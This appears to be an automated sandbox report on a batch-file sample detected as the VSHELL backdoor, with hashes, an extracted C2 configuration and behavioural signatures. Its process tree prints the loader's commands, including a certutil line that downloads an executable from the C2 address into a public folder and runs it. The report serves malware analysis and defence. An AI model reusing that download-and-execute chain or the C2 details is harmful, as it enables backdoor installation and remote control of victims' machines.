Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
25/09/2026, 18:31
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260925-w6fb3axtax
- SHA256 df328c13cc35ff63de0b44726fb4b387d387ab5e7ad70c207e366ba0d9cb001d
- MD5 25bd96a951a8f78f048833bec2a4ed1a
- SHA1 e56035022a42f2b6d7d48d8898ce6555d0d63a08
- SHA512 7d7ad65879f152aa3d56994413e26f89ae6e5644c63008291cfca0ac803d2917a19462558fecbb5fc9162fba9caf56e3dcdea724a8bc1462b825bb0eee5254b3
- TLSH T190F0978D083104F117C2E90B78E471C1B0CAAC854E3064986C8129DEBEC80A832FAA97
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
39.104.48.247
Attributes
-
port
9999
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/5520-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 2884 certutil.exe 7 2884 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 5520 79d1174dtcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3400 cmd.exe 436 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 79d1174dtcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 79d1174dtcp.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3380 WMIC.exe 3380 WMIC.exe 3380 WMIC.exe 3380 WMIC.exe 5520 79d1174dtcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3380 WMIC.exe Token: SeSecurityPrivilege 3380 WMIC.exe Token: SeTakeOwnershipPrivilege 3380 WMIC.exe Token: SeLoadDriverPrivilege 3380 WMIC.exe Token: SeSystemProfilePrivilege 3380 WMIC.exe Token: SeSystemtimePrivilege 3380 WMIC.exe Token: SeProfSingleProcessPrivilege 3380 WMIC.exe Token: SeIncBasePriorityPrivilege 3380 WMIC.exe Token: SeCreatePagefilePrivilege 3380 WMIC.exe Token: SeBackupPrivilege 3380 WMIC.exe Token: SeRestorePrivilege 3380 WMIC.exe Token: SeShutdownPrivilege 3380 WMIC.exe Token: SeDebugPrivilege 3380 WMIC.exe Token: SeSystemEnvironmentPrivilege 3380 WMIC.exe Token: SeRemoteShutdownPrivilege 3380 WMIC.exe Token: SeUndockPrivilege 3380 WMIC.exe Token: SeManageVolumePrivilege 3380 WMIC.exe Token: 33 3380 WMIC.exe Token: 34 3380 WMIC.exe Token: 35 3380 WMIC.exe Token: 36 3380 WMIC.exe Token: SeIncreaseQuotaPrivilege 3380 WMIC.exe Token: SeSecurityPrivilege 3380 WMIC.exe Token: SeTakeOwnershipPrivilege 3380 WMIC.exe Token: SeLoadDriverPrivilege 3380 WMIC.exe Token: SeSystemProfilePrivilege 3380 WMIC.exe Token: SeSystemtimePrivilege 3380 WMIC.exe Token: SeProfSingleProcessPrivilege 3380 WMIC.exe Token: SeIncBasePriorityPrivilege 3380 WMIC.exe Token: SeCreatePagefilePrivilege 3380 WMIC.exe Token: SeBackupPrivilege 3380 WMIC.exe Token: SeRestorePrivilege 3380 WMIC.exe Token: SeShutdownPrivilege 3380 WMIC.exe Token: SeDebugPrivilege 3380 WMIC.exe Token: SeSystemEnvironmentPrivilege 3380 WMIC.exe Token: SeRemoteShutdownPrivilege 3380 WMIC.exe Token: SeUndockPrivilege 3380 WMIC.exe Token: SeManageVolumePrivilege 3380 WMIC.exe Token: 33 3380 WMIC.exe Token: 34 3380 WMIC.exe Token: 35 3380 WMIC.exe Token: 36 3380 WMIC.exe Token: SeDebugPrivilege 5520 79d1174dtcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 436 wrote to memory of 3400 436 cmd.exe 90 PID 3400 wrote to memory of 3380 3400 cmd.exe 91 PID 3400 wrote to memory of 4240 3400 cmd.exe 92 PID 436 wrote to memory of 2884 436 cmd.exe 94 PID 436 wrote to memory of 5520 436 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3380
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4240
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://39.104.48.247:9999/?h=39.104.48.247&p=9999&t=tcp&a=w64&stage=true" "C:\Users\Public\79d1174dtcp.exe"2⤵
- Downloads MZ/PE file
PID:2884
-
-
C:\Users\Public\79d1174dtcp.exe"C:\Users\Public\79d1174dtcp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5520
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dtcp.exe
- Size 3KB
- SHA256 99efce02e8cd75144d1862b121d42a5fe9f30d08fd363c71081ced4d561711ab
- MD5 912c7fbd3d58c8d7ba5cb52b4e0ec41b
- SHA1 1f4039d357c4617a9ae746e9ef2e643ad76c1b9b
- SHA512 9058e2ee1fb023c795756981411509a8fafe9ba0f549458f65442dd3c795c07b13772bad537715e2f869fe20c829f39c9d25c4a4b56a89330ab3be88a810b0e3
- TLSH T15471B54160501AF2D94CE37F8587B895FD4EB288A2C80B0F0798A81A2F7607BB1D9613
- MD5 SHA1 SHA512 TLSH